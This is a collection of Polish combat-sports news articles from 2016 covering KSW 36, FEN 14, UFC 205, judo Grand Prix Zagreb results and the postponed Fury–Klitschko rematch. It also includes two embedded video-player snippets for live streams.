Palhares należy do kategorii zawodników, którzy nie odpuszczają. Brazylijczyk jest do bólu skuteczny, o czym miał okazję przekonać Tomasz Drwal, który nie wytrzymał nawet minuty w oktagonie z zawodnikiem z Kraju Kawy. 36-latek jest niezwykle sprawny, zakłada dźwignie na nogi i rozbija kolejnych rywali. Jednak Brazylijczyka można pokonać, o czym przekonał wszystkich Emil Weber Meek, który w maju szybko rozbił doświadczonego fightera. Z pewnością materiał z tej walki dokładnie przeanalizował Michał Materla. Jeśli chce myśleć o odzyskaniu pasa wagi średniej, musi znaleźć sposób na Brazylijczyka.

Ponownie na KSW zobaczymy Rameau Sokoudjou. Zawodnik ze Stanów Zjednoczonych został zapamiętany przez polskich kibiców z rywalizacji z Janem Błachowiczem. Pokazał się wtedy z dobrej strony. Do Polski wraca po blisko pięciu latach. W tym czasie walczył na galach Bellatora. Ostatni rok był dla niego nieudany, gdyż przegrał dwie walki. Tegoroczne zmagania rozpoczął od wygranej z Mattem Hamillem na gali Venator FC 3. Do Zielonej Góry Sokoudjou przyjeżdża jako rywal Tomasza Narkuna. Mistrz wagi półciężkiej ostatnio jest w gazie i odnosi szybkie zwycięstwa.

Niepokonany Mateusz Gamrot stanie w obronie pasa w wadze lekkiej. 25-latek spotka się z Renato Gomesem Gabrielem. 29-latek ma fantastyczną serią. W tym roku wygrał trzy walki i wszystkie przed czasem. Dla „Gamera” to prawdziwe wyzwanie, ale Polak już niejednego rywala pozbawił złudzeń.

Nie zabraknie kobiet

Wszyscy żyją już polskim starciem o prymat w UFC pomiędzy Joanną Jędrzejczyk oraz Karoliną Kowalkiewicz. Na KSW 36 również nie zabraknie pięknych i utalentowanych pań. 

Katarzyna Lubońska poluje na pierwsze zwycięstwo podczas przygody z KSW. Jej rywalką będzie Rumunka Diana Belbita, która w marcu pokonała Paulinę Borkowską. W Zielonej Górze zaprezentuje się Ariane Lipski. Brazylijka ma na rozkładzie Katarzynę Lubońską, a tym razem zmierzy się z Sheilą Gaff, która swego czasu rywalizowała w UFC.

Kolejny raz w Polsce zaprezentuje się Kleber Koike Erbst, który we wcześniejszych występach zdobywał bonusy za najlepsze występy wieczoru. Japończyk wygrał z Anzorem Azhievem, ale musiał uznać wyższość Artura Sowińskiego. Teraz stanie naprzeciw niepokonanego Leszka Krakowskiego.

Podczas KSW 36 zaplanowano również walki: Macieja Kazieczko z Mariuszem Mazurem, Bartłomieja Kurczewskiego z Grzegorzem Szulakowskim oraz Michała Włodarka z Michałem Kitą.

KM

Szymański vs Santos w walce o tytuł na gali FEN 14 Silesian Rage

Jailton „Peregrino” Santos, uczestnik „TUF 3 Brasil” i jeden z najlepszych młodych fighterów MMA w Brazylii, będzie rywalem niepokonanego od ponad dwóch lat Romana Szymańskiego w walce wieczoru gali FEN 14 Silesian Rage, której stawką będzie pas mistrzowski FEN w kategorii lekkiej.

Dla Romana Szymańskiego będzie to pierwsza obrona tytułu mistrzowskiego FEN w wadze lekkiej, który zdobył w marcu tego roku, pokonując w widowiskowej walce wieczoru gali FEN 11 Warsaw Time Mariana Ziółkowskiego. Było to ósme zwycięstwo z rzędu niezwykle utalentowanego i efektownie walczącego reprezentanta klubu Linke Gold Team, a zarazem trzecie odniesione w federacji Fight Exclusive Night. Przed podpisaniem kontraktu z FEN wygrywał m.in. z Aleksandrem Georgasem i Jackiem Kreftem, a w ubiegłym roku idący jak burza fighter z Poznania pokonał w klatkoringu FEN Pawła Kiełka i Adama Golonkiewicza, co zaowocowało zdobyciem przez niego dwóch statuetek Heraklesów za 2015 rok w kategoriach Odkrycie Roku i Walka Roku.

Jailton Santos należy do najzdolniejszych brazylijskich zawodników MMA młodego pokolenia. Uchodzi za świetnego grapplera, który w walce umiejętnie wykorzystuje swoją sprawność i siłę fizyczną. Choć skończył dopiero 23 lata, ma już na koncie 15 zawodowych walk, z których aż 11 skończyło się jego zwycięstwem. Przed dwoma laty Santos był uczestnikiem trzeciej edycji programu „The Ultimate Fighter Brasil”, w którym miał okazję doskonalić swoje umiejętności w drużynie Chaela Sonnena, trzykrotnego pretendenta do pasa mistrzowskiego UFC. Na tym związki „Peregrino” z amerykańską organizacją się nie kończą – w lutym ubiegłego roku stoczył dobrą walkę na pełnym dystansie z jedną z obecnych gwiazd UFC Alexem Oliveirą, a od początku tego roku jest związany ze współpracującą blisko z UFC federacją Shooto Brazil. W klatce tej organizacji w kwietniu tego roku pokonał byłego fightera UFC, doświadczonego Luisa Ramosa, a w lipcu uległ innemu weteranowi MMA, mistrzowi Shooto Brazil wagi półśredniej Ismaelowi de Jesusowi.

Walka wieczoru Romana Szymańskiego z Jailtonem Santosem będzie jedną z dwóch na gali FEN 14 Silesian Rage, których stawką będzie tytuł mistrza Fight Exclusive Night – w drugiej o pas w formule K-1 walczyć będzie Tomasz Sarara. Oprócz nich 15 października w katowickim Spodku w klatkoringu FEN wystąpią m.in. Paweł Biszczak, Tomasz Gromadzki, Tyberiusz Kowalczyk, Akop Szostak, Paweł Hadaś, Albert Odzimkowski, Kamil Jenel i Paweł Brandys.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

LIVE: Gala Granda PRO 2

Zapraszamy na transmisję telewizyjną na żywo z gali zawodowej K-1 i MMA, której organizatorem jest Legia Fight Club. Jest to już druga z serii gal zawodowych pod nazwą GRANDA PRO.

[kod]

Granda Pro 2

Granda Pro 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro2.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Świata Wushu – Ceremonia otwarcia

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata Wushu, które odbywają się w Pruszkowie k/ Warszawy w dniach od 16 do 20 października 2016 r..

[kod]

The 2nd World Taijiquan Championships

The 2nd World Taijiquan Championships

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MS_Wushu.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MS_Wushu.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MS_Wushu.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MS_Wushu.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Zapaśnicy czekają na ligowe zmagania

O pomyśle utworzenia Krajowej Ligi Zapaśniczej mówiło się od dłuższego czasu. Rozgrywki ruszą 2 listopada, w rywalizacji zaprezentuje się osiem zespołów.

W marcu ubiegłego roku w Warszawie podpisano umowę o powołaniu zawodowej ligi zapaśniczej. To szansa na zwiększenie popularności oraz promocję dyscypliny, a także podniesienie umiejętności poszczególnych zawodników.

Medal najlepszym świadectwem

Zapewne niewiele osób wie, że zapasy są czwartą dyscypliną w historii, która dostarczyła Polsce najwięcej medali olimpijskich. Biało-czerwoni wywalczyli 26 krążków, więcej niż judocy, a mniej niż bokserzy. Trudno obecnie powiedzieć, że jesteśmy zapaśniczą potęgą, ale z mistrzowskich imprez przywozimy medale. Na europejskim czempionacie w Rydze wywalczyliśmy pięć krążków, w tym po złoto sięgnął Magomiedmurad Gadżyjew (70kg). Zakończyły się również zmagania w wojskowych mistrzostwach świata w Skopje, gdzie Polacy zapisali na swoim koncie pięć medali.

Również podczas najważniejszej imprezy czterolecia zaznaczamy swoją obecność. W Rio de Janeiro cieszyliśmy się z brązowego medalu Moniki Michalik w kategorii 63kg. Cztery lata wcześniej na najniższym stopniu podium stanął Damian Janikowski. Nadal z utęsknieniem wspominamy fenomenalne występy złotych czempionów olimpijskich, czyli Andrzeja Wrońskiego, Ryszarda Wolnego czy Włodzimierza Zawadzkiego. Doskonale pamiętamy heroizm Andrzeja Suprona, który w 1980 roku w Moskwie wywalczył srebrny medal. Swego czasu był gotów oddać swoją zdobycz, gdy trwała dyskusja o wycofaniu zapasów z igrzysk. Mamy piękną historię i tradycję, bogate osiągnięcia, ale zapasy są gdzieś z boku. W wielu kategoriach brakuje wyrównanej rywalizacji, przez co cierpią zawodnicy.

Lekarstwem na całe zło ma być Krajowa Liga Zapaśnicza. Pierwszy akord wybrzmi już 2 listopada, w zmaganiach będą mogły brać udział zawodnicy z zagranicy. Projekt ma być zrealizowany z największą dokładnością.

Szansa na rozwój

Są kraje, gdzie zapasy są niemalże religią. Czy niebawem do tego grona dołączy także Polska? Krajowa Liga Zapaśnicza ma pozwolić rozreklamować zapasy w najlepszym wydaniu i pokazać, że mogą być również ciekawe dla widza.

Warto dodać, że rywalizacja toczyć będzie się w trzech stylach – kobiet, klasycznym i wolnym. Jak będą wyglądały zmagania? Tytuł drużynowego mistrza Polski trafi do ekipy, która zgromadzi najwięcej punktów w przekroju całego sezonu. Po każdym spotkaniu będzie wyłaniany najlepszy zawodnik danego starcia.

Do rywalizacji przystąpią następujące ekipy: Unia Racibórz, Legia Warszawa, Śląsk Wrocław, Grunwald Poznań, AKS Białogard, AKS Piotrków Trybunalski, Zagłębie Wałbrzych i Olimpijczyk Radom.

KM

Conor zaatakuje kolejny pas!

Conor McGregor ma tylko jeden cel. Chce gromadzić tytuły i udowodnić, że jest najlepszym fighterem na świecie. 12 listopada w Nowym Jorku Irlandczyk spróbuje odebrać pas mistrza wagi lekkiej UFC z rąk Eddie'ego Alvareza.

Gala UFC 205 zapowiada się niezwykle ekscytująco. Dla polskich kibiców MMA będzie to wyjątkowe wydarzenie z racji starcia o mistrzostwo w wadze słomkowej. Joanna Jędrzejczyk będzie broniła tytułu w pojedynku z Karoliną Kowalkiewicz.

Głód sukcesu

McGregora trudno zaklasyfikować w jakikolwiek sposób. Irlandczyk stał się gwiazdą i przyciąga uwagę tłumów, a w oktagonie potrafi robić niesamowite rzeczy. Z pewnością 28-latkowi nieco „utarł nosa” Nate Diaz, który pokonał go podczas gali UFC 196. Nikt się tego nie spodziewał, McGregor był w gazie po zdobyciu pasa w wadze piórkowej. Diaz duszeniem zza pleców zmusił Irlandczyka do poddania w drugiej rundzie. W sierpniu doszło do rewanżu i po morderczym boju lepszy okazał się McGregor.

28-latek po pokonaniu Jose Aldo, na co potrzebował zaledwie trzynastu sekund skupił się na szukaniu możliwości walki o kolejny tytuł. Wiele mówiło się o rywalizacji z Rafaelem dos Anjosem, czyli czempionem kategorii lekkiej. Brazylijczyk miał problemy zdrowotne, a w lipcu stoczył walkę z Eddie'm Alvarezem. Amerykanin pozbawił rywala tytułu, więc stał się obiektem zainteresowania ze strony McGregora. Irlandczyk jeszcze ani razu nie bronił pasa kategorii piórkowej, ale UFC nie naciska na niego, lecz spełnia jego życzenie. 12 listopada w Madison Square Garden McGregor stanie przed szansą zdobycia kolejnego pasa.

Irlandczyk trafił na wymagającego rywala. Eddie Alvarez rozkręca się w UFC, do której trafił w 2014 roku. Wcześniej święcił triumfy w Bellatorze, gdzie zanotował dziewięć zwycięstw i tylko jedną porażkę. Przygodę z UFC rozpoczął od przegranej z Donaldem Cerrone, ale później pokonał Gilberta Melendeza i Anthony'ego Pettisa. Dało mu to przepustkę do starcia o tytuł, w którym przed czasem uporał się z dos Anjosem.

Starcie polsko-polskie

Jeszcze rok temu mało kto wyobrażał sobie, że w UFC może dojść do starcia o pas mistrzowski. Cieszyliśmy się z sukcesów Joanny Jędrzejczyk, która wybijała z głowy marzenia o tytule kolejnym rywalkom. W ostatnim starciu o sile Polki przekonała się ponownie Claudia Gadelha.

Karolia Kowalkiewicz marzyła o tym, żeby stanąć do starcia o pas. Stoczyła trzy zwycięskie walki w amerykańskiej organizacji i dostała swoją szansę. Pojedynek dwóch Polek zapowiada się niezwykle ciekawie. Obie jeszcze nigdy nie przegrały, są odporne na ciosy i wytrzymałe, gdyż większość pojedynków toczyły na pełnym dystansie. 

Podczas gali w Nowym Jorku dojdzie do trzech pojedynków mistrzowskich. W wadze półśredniej Tyron Woodley spotka się z Stephenem Thompsonem.

KM

Na koniec medal Kuczery

Mocne wejście mieli reprezentanci Polski podczas turnieju Grand Prix w Zagrzebiu. Rozpoczęło się od złota Karoliny Pieńkowskiej (52kg), medalowy marsz ostatniego dnia zmagań zakończył Piotr Kuczera (90kg). Polski judoka stanął na najniższym stopniu podium.

Bałkańska przygoda okazała się udana dla biało-czerwonych. Każdego dnia rywalizacji Polacy sięgali po medale, aż dziewięciu naszych reprezentantów zajmowało miejsca punktowane.

Pierwsze podium 21-latka

Kariera Piotra Kuczery rozwija się w ekspresowym tempie. W ubiegłym roku zawodnik Polonii Rybnik odnosił sukcesy w rywalizacji juniorskiej. Z mistrzostw Europy i świata wracał z brązowymi medalami. W ten rok wszedł również dobrze, ale startował już w zawodach rangi seniorskiej.

Polak zaprezentował się podczas Pucharu Europy w Oberwart, gdzie stanął na najniższym stopniu podium. W kolejnych zawodach nie było już tak dobrze, jednak forma przyszła w najwłaściwszym momencie. W kwietniu podczas mistrzostw Europy w Kazaniu Kuczera odniósł największy sukces w karierze i wywalczył brązowy medal. Polski judoka pnie się w górę światowego rankingu. Obecnie zajmuje 41. lokatę z dorobkiem 424 punktów.

Z Grand Prix w Zagrzebiu Kuczera będzie miał wyjątkowe wspomnienia. Ze smakiem medali zdążył się już zapoznać, ale nie stał jeszcze na podium turnieju tej rangi. W stolicy Chorwacji polskiemu zawodnikowi sprzyjało szczęście. Marko Bubanja i Max Stewart kończyli rywalizację z Kuczerą jako przegrani, o wyniku decydowały kary shido. W boju o finał 21-latek musiał uznać wyższość Alexandra Grigoreva, który cieszył się z triumfu w Zagrzebiu. Medaliście mistrzostw Europy pozostała walka o brąz, gdzie czekał na niego Dario Garcia Kurbjeweit. Kuczera wygrał w wielkim stylu. Najpierw waza-ari, a chwilę później ippon i było po sprawie. 21-latek był autorem piątego polskiego medal w zawodach GP w Zagrzebiu.

W kategorii 90kg siódmą lokatę zajął Patryk Ciechomski. Polak szybko pokonał Chorwata Jere Zivkovicia Bokurina. Następnie przegrał z Alexandrem Grigorevem i Maxem Stewartem. W obu przypadkach rywale triumfowali przez ippon.

Tylko Rosjanie lepsi

W zawodach wzięło udział 228 judoczek i judoków. Najwięcej, bo 20 reprezentantów wystawiła Rosja, co przełożyło się również na zdobycz medalową. Sborna wywalczyła aż 11 medali, w tym trzy złote. W swoich kategoriach triumfowali: Alan Khubetsov (81kg), Alexander Grigorev (90kg) i Adlan Bisultanov (100kg).

Drugie miejsce w klasyfikacji medalowej przypadło Polsce. Na wynik Polaków zapracowali: Karolina Pieńkowska i Karolina Tałach (złota), Katarzyna Kłys (srebro) oraz Damian Szwarnowiecki i Kuczera (brązowe krążki). Na trzecim stopniu podium uplasowała się Francja z dorobkiem pięciu medali.

KM

Nikt nie może jej zatrzymać

Cristiane Justino wyrasta na największą gwiazdę kobiecego MMA. Brazylijka niczym rozpędzony pocisk niszczy wszystko, co napotka na swojej drodze. Podczas gali UFC Fight Night 95 jej ofiarą padła Lina Lansberg.

31-latka z Kurytyby zawitała w szeregi najlepszej organizacji MMA na świecie w maju. Wejście miała mocne i udowodniła, że jest w stanie podbić kolejną płaszczyznę. Wcześniej była niepokonana w organizacji Invicta.

Rywalki zbierają łomot

Jeszcze niedawno miłośnicy kobiecego MMA żyli historią o możliwym starciu Justino i Rondy Rousey. Amerykanka panowała w wadze koguciej, a Brazylijka rozdawała karty w organizacji Invicta. Obie stały się twarzami kobiecego MMA. Wiele mówiło się o ich walce, jednak do niej nie doszło. Problemem była waga popularnej „Cyborg”. Brazylijka prowadziła rozmowy z UFC, a Rousey straciła pas.

Amerykanka czeka na powrót do sportowej rywalizacji, a 31-latka z Kurytyby pokonuje kolejne szczeble w karierze. W maju zadebiutowała w UFC i potrzebowała 81 sekund, żeby uporać się z Leslie Smith. Może powiedzieć, że Justino miała wejście smoka. Brazylijka jest niczym zaprogramowany na wygrywanie robot.

„Cyborg” byłą gwiazdą wieczoru podczas gali UFC Fight Night 95. Podczas eventu w Brasilii Justino spotkała się z Liną Lansberg, która debiutowała w UFC. Szwedka zwróciła na siebie uwagę bardzo dobrymi występami. 34-latka wygrała sześć pojedynków z rzędu i dostąpiła zaszczytu rywalizacji z mocną Justino. Brazylijka idzie jak burza i nie patrzy nawet na nazwisko rywalki. Od początku starcia mocno ruszyła na Lansberg. Szwedka nie potrafiła przeciwstawić się gwieździe kobiecego MMA. Justino zepchnęła przeciwniczkę do defensywy, w drugiej rundzie sprowadziła ją do parteru i zasypała gradem ciosów. Szwedka nie była w stanie przetrwać naporu, walka zakończyła się przed czasem. 

Justino ma fantastyczną serię. Wygrała szesnaście kolejnych walk i co ciekawe, po raz ostatni walczyła w pełnym wymiarze w październiku 2008 roku. Od tamtej pory kończy pojedynki przed czasem. Warto dodać, że to Brazylijka rozbija swoje rywalki i nie daje im nawet możliwości odklepania. Siłą i precyzja ciosów – to jej recepta na sukces.

Kto najlepszy?

Dobry występ w Brasilii zaliczył Renan Barao, który po dwóch porażkach mógł cieszyć się ze zwycięstwa. Na punkty pokonał Phillipe'a Novera. 37-letni Antonio Silva poniósł trzecią porażkę z rzędu. Tym razem pogromcą Brazylijczyka był Roy Nelson, który w drugiej rundzie zaserwował rywalowi potężny cios podbródkowy. 

Za najlepszą walkę wieczoru uznano starcie w kategorii półśredniej. Po morderczej walce Erick Silva mógł cieszyć się ze zwycięstwa z Luanem Chagasem, którego zaskoczył duszeniem zza pleców w trzeciej rundzie. Szybko swoje pojedynki zakończyli Eric Spicely i Godofredo Pepey. Amerykanin duszeniem zza pleców zmusił do poddania Thiago Santosa, w ten sam sposób triumfował 29-letni Brazylijczyk. Jego ofiarą padł Mike de la Torre.

KM

Zabawa w „kotka i myszkę”

Miłośnicy boksu odliczali tygodnie do rewanżowej walki o prymat w wadze ciężkiej pomiędzy Tysonem Fury'm a Władimirem Kliczko. Licznik musiał się zatrzymać, oczekiwanie trwa nadal. Pojedynek miał odbyć się 29 października, ale został odwołany.

Stawka rywalizacji pomiędzy Anglikiem a Ukraińcem jest ogromna, jednak cała otoczka wokół niej staje się już męcząca. Fury podkreśla swoją moc, ale po raz kolejny nie będzie w stanie jej zaprezentować. Fani pięściarstwa na jedno z najważniejszych starć muszą poczekać.

Wahania nastrojów

„Już był w ogródku, już witał się z gąską” – do kogo bardziej pasuje fragment wiersza Adama Mickiewicza? Nieco bardziej do Władimira Kliczko. Ukrainiec chce udowodnić światu, że porażka, której doznał w listopadzie ubiegłego roku w Dusseldorfie była wypadkiem przy pracy. Dla 40-latka rewanżowe starcie z Fury'm ma charakter tych z kategorii „być albo nie być”. Dlaczego? Bo przez lata kategoria królewska znajdowała się pod jego dominacją. Uchodził za postać niezwyciężoną, symbol boksu. Przyszedł krnąbrny Fury, który powtarzał, że wejdzie na szczyt. Początkowo wielu pukało się w czoło, ale 28-latek utarł nosa niedowiarkom. Pokazał, że jest mocny nie tylko w „gębie”.

„Mijają dni, miesiące”, niebawem minie rok. Wszyscy czekają na starcie na szczycie wagi ciężkiej, które ostatecznie ma pokazać, kto jest największym herosem. Na szali pojawią się pasy WBA, WBO, IBO. Zapowiedzi były, ustalenia zapadły, już wszystko zmierzało w dobrą stronę, ale… No właśnie. Na ostatniej prostej pojawiały się jakieś przeszkody.

Zacznijmy od początku. Po utracie mistrzowskich pasów Kliczko zapowiedział, że chce starcia rewanżowego. Fury na to przystał, co kosztowało go utratę pasa IBF, gdyż odmówił batalii z Wiaczesławem Głazkowem. Strony zasiadły do rozmów. Ustalono, że rewanż odbędzie się 9 lipca w Manchesterze. Miesiąc przed planowanym terminem walkę odwołano. Podczas przygotowań Fury doznał urazu stawu skokowego i musiał odpoczywać blisko dwa miesiące.

„Co się odwlecze, to nie uciecze”, a więc w takim wypadku trzeba było podjąć rozmowy nad nowym terminem rewanżowego starcia o prymat w kategorii królewskiej. Gorący akord późnej jesieni – walkę zaplanowano na 29 października. Historia lubi się powtarzać. Ponownie kilka tygodni przed pojedynkiem obóz mistrza poinformował, że Fury zmaga się z kłopotami zdrowotnymi. 

Niekończąca się historia

28-letni czempion w ostatnim czasie miał przejść badania, jednak ich wyniki nie są optymistyczne. W związku z tym udział Fury'ego w październikowej walce jest niemożliwy. Jednoznacznie nie można stwierdzić, że bokser urodzony w Manchesterze gra na czas. Jednak obóz Ukraińca niecierpliwi się. Kliczko chce walki rewanżowej i czeka na nią z utęsknieniem. 

Problem tym, że wszystkie karty są w rękach Fury'ego. On decyduje, co, kiedy i jak. Z pewnością Kliczko nie da się wyprowadzić z równowagi, ale jego obóz już patrzy w stronę WBA i WBO. Przychylni byłemu mistrzowi liczą, że właściwe organy zainteresują się postępowaniem 28-latka.

Prędzej czy później ta historia znajdzie swój finał. Zasadne jest jedno, czy więcej będzie mówiło się o samej walce, czy o zamieszaniu wokół niej. Niebawem minie rok od starcia Kliczko-Fury, w którym wyłonił się nowy mistrz wagi ciężkiej. Czempion, który trzyma pasy, a bronić ich nie zamierza?

KM

Biało-czerwony Zagrzeb!

Karolina Pieńkowska (52kg) i Karolina Tałach (63kg) triumfowały w zawodach Grand Prix w judo w Zagrzebiu. To nie jedyne sukcesy biało-czerwonych w stolicy Chorwacji!

Wyśmienita dyspozycja Polaków w Zagrzebiu! Sukces goni sukces, a jeszcze nie wszyscy nasi reprezentanci zaprezentowali się w rywalizacji na tatami. Biało-czerwoni mają już na koncie medale wszystkich barw.

Złote dziewczyny

Przed Karoliną Pieńkowską wspaniała i długa kariera. W zeszłym roku Polka wywalczyła w Bratysławie tytuł młodzieżowej mistrzyni Europy. 23-latka idzie za ciosem! Z pewnością ten rok zapisze do najbardziej udanych w swojej karierze, a na pewno zaliczy do kategorii wyjątkowych. Dlaczego? Pieńkowska znajduje się regularnie na miejscach punktowanych. W czerwcu po raz pierwszy w karierze stanęła na podium zawodów rangi Grand Prix. Brąz wywalczony w Budapeszcie był sporym osiągnięciem, ale 23-latka nie zamierzała na tym poprzestać. 

W Zagrzebiu, gdzie wywalczyła złoto pokazała, że stać ją na wiele. W stolicy Chorwacji Pieńkowska stoczyła trzy pojedynki. Najefektowniejszy był bój o finał, w którym 23-latka przed czasem uporała się z Angelicą Delgado. Z kolei w starciu o złoto pokonała Distrię Krasniqi. Warto nadmienić, że reprezentantka Kosowa to szesnasta zawodniczka światowego rankingu i ubiegłoroczna mistrzyni świata juniorek.

Zagrzeb okazał się szczęśliwy również dla Karoliny Tałach (63kg). Polka w tym roku stawała już na podium w zawodach Pucharu Europy. Przed dwoma tygodniami była trzecia w Tallinie, a w lutym wywalczyła drugie miejsce w Rzymie. W zawodach Grand Prix jeszcze nigdy nie stawała na podium. Teraz to już nieaktualne. 24-latka w stawce szesnastu zawodniczek rywalizujących w kategorii 63kg okazała się najlepsza. Problemy Polka napotkała już w pierwszej walce. Kamila Badurova postawiła trudne warunki i o zwycięstwie Tałach zadecydowała jedna kara shido. W drodze do finału pokonała m.in. utalentowaną Słowenkę Andreję Leski. W decydującym boju Polka przez yuko zwyciężyła z Dianą Dzhigaros. 

Powtórzyła sukces

Katarzyna Kłys (70kg) dobrze czuje się w Zagrzebiu. Dwa lata temu wywalczyła srebro, a rok temu była piąta podczas zmagań w Chorwacji. Tym razem stanęła na podium. Lepsza od reprezentantki Polski była tylko mocna Barbara Matic. Kłys wygrała dwie walki w drodze do finału, w obu przypadkach rozstrzygnęła pojedynki przed czasem.

Kolejny dobry występ w tym roku zaliczył Damian Szwarnowiecki (81kg). 22-latek dwa tygodnie temu był trzeci w Tallinie, teraz sukces powtórzył w Zagrzebiu. Polak jest w gazie, wygrał trzy pojedynki przez ippon. Problemy pojawiły się w półfinale, gdzie trafił na Laszlo Csoknayaia. Węgier potrzebował ponad minutę, aby awansować do finału. Szwarnowieckiego czekało starcie o brąz, w którym spotkał się z Jakubem Kubieńcem. 26-latek po udanych repasażach chciał iść za ciosem. Pojedynek zacięty, jednak Szwarnowiecki zapisał na swoim koncie waza ari i wywalczył brąz. Piąta pozycja to najlepszy tegoroczny wynik Kubieńca.

O krok od podium była Ewa Konieczny (48kg). W starciu o brąz przegrała z Cheyenne Mounier z Francji, która w trzecich zawodach z rzędu stanęła na podium. O powtarzalności można mówić w przypadku Agaty Ozdoby (63kg). Rok temu wywalczyła w Zagrzebiu piątą lokatę. Tym razem na drodze do medalu stanęła Polce Magdalena Krssakova z Austrii.

Fot. EJU

KM

Adrian Błeszyński vs. Łukasz Stanek w karcie walk FEN 14 Silesian Rage

Adrian Błeszyński, autor jednego z najbardziej efektownych nokautów w historii polskiego MMA, na gali FEN 14 Silesian Rage ponownie wystąpi w klatkoringu Fight Exclusive Night. 15 października w katowickim Spodku jego przeciwnikiem w walce w kategorii półśredniej będzie debiutujący w FEN Łukasz Stanek.

Dla reprezentującego Sportowe Zagłębie Sosnowiec Adriana Błeszyńskiego walka na gali FEN 14 Silesian Rage będzie drugą, jaką stoczy dla organizacji Fight Exclusive Night. W debiucie „Ares” popisał się bardzo efektownym nokautem – w drugiej rundzie zakończył starcie z Tomaszem Lepierskim potężnym lewym sierpowym, po którym jego przeciwnik padł bez czucia na deski i potem długo nie mógł dojść do siebie, a on sam otrzymał bonus za najlepszy nokaut gali FEN 11 Warsaw Time. Było to jego trzecia walka zawodowa i trzecie z rzędu zwycięstwo przed czasem – poprzednie pojedynki, z Czechem Martinem Hajtmarem i Białorusinem Vitaliyem Lukoyko, wygrywał przez techniczny nokaut już w pierwszych rundach.

Adrian Błeszyński nokautuje Tomasza Lepierskiego na gali FEN 11 Warsaw Time: youtube.com/watch?v=UEm23ZNT7pM

Błeszyński mieszane sztuki walki trenuje od 8 lat, wcześniej uprawiał boks, brazylijskie ju-jitsu, kick-boxing i savate. Uwieńczeniem jego kariery amatorskiej było zdobycie w 2014 roku w Pradze tytułu mistrza świata WKF w MMA i rok później tytułu mistrza Europy WKF. Po tym sukcesach podopieczny trenerów Bartosza Kulczyckiego i Gabriela Skiby zdecydował się przejść na zawodowstwo.

Łukasz Stanek na gali FEN 14 Silesian Rage wystąpi w organizacji Fight Exclusive Night po raz pierwszy. Zawodnik klubu MMAtadores Katowice (dawniej Emers Team Katowice) ma na swoim koncie 13 walk amatorskich, z których przegrał tylko dwie, oraz 4 walki zawodowe. Podobnie jak Adrian Błeszyński, karierę zawodową rozpoczął od dwóch zwycięstw przez TKO w pierwszych rundach. Później, w starciach z bardziej doświadczonymi Adamem Brzezowskim i Piotrem Mrozem, zawodnik Tomasza Jeruszki musiał jednak uznać wyższość swoich rywali. Do swoich największych sportowych osiągnięć zalicza zwycięstwa na X Międzynarodowym Turnieju Hadaka Waza w 2011 roku oraz w Otwartych Mistrzostwach Świata Kong Sao w formule MMA w 2012 roku.

Walka Adriana Błeszyńskiego z Łukaszem Stankiem będzie jedną z dwóch w karcie wstępnej gali FEN 14 Silesian Rage. Tego wieczora na zasadach MMA walczyć będą także m.in. Paweł Hadaś z Pawłem Brandysem, Tyberiusz Kowalczyk z Kamilem Bazelakiem, Akop Szostak z Martinem Chudejem i Albert Odzimkowski z Mateuszem Strzelczykiem, a w formule K-1 – Paweł Biszczak z Tomaszem Gromadzkim i Kamil Jenel z Pavlem Oboznym. W walkach wieczoru Roman Szymański będzie bronił pasa mistrzowskiego FEN w MMA kategorii lekkiej, a o tytuł mistrza FEN w K-1 wagi ciężkiej bić się będzie Tomasz Sarara.

Bilety na galę FEN 14 można kupić w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Kłys jedzie do Zagrzebia

Kolejna odsłona zmagań na tatami. Przez trzy dni judocy będą rywalizowali w turnieju Grand Prix w Zagrzebiu. W kadrze znalazła się Katarzyna Kłys (70kg), dla której będzie to pierwszy występ od Igrzysk Olimpijskich w Rio de Janeiro. Nie zabraknie będącego w dobrej formie Damiana Szwarnowieckiego (81kg).

Początek zmagań w Zagrzebiu już w piątek 23 września, zawody potrwają do niedzieli. Na starcie pojawi się trzynastoosobowa kadra Polski. Dwa tygodnie temu w zawodach Pucharu Europy w Tallinie biało-czerwoni wywalczyli dziewięć krążków, jednak ekipa była ponad dwa razy liczniejsza. W kadrze na Zagrzeb znalazło się pięciu medalistów z Estonii. Czy w Chorwacji zaprezentują się równie dobrze?

Olimpijskie wspomnienia

Katarzyna Kłys wraca do rywalizacji po Igrzyskach Olimpijskich w Rio de Janeiro. W Brazylii polska judoczka dotarła do 1/8 finału, gdzie przegrała pojedynek z Marie Bernabeu z Brazylii. Zawodniczka Polonii Rybnik w Rio pokonała Gulnozę Matnijazową z Uzbekistanu. Był to najlepszy olimpijski występ w karierze Kłys, choć z pewnością to marne pocieszenie dla judoczki. Warto wspomnieć, że we wcześniejszych olimpijskich startach, Pekin i Londyn, odpadała w pierwszych rundach.

Polka nadal jest wysoko w światowym rankingu. Obecnie zajmuje 19. miejsce w swojej kategorii wagowej. Do Zagrzebia jedzie jako mocne ogniwo naszej kadry. W tym sezonie trzykrotnie stawała na podium, w tym dwa razy wygrywała zawody. Warto odnotować dobrą dyspozycję judoczki Polonii Rybnik podczas zawodów Grand Prix. W Ałmatach była trzecia, a w Tbilisi piąta.

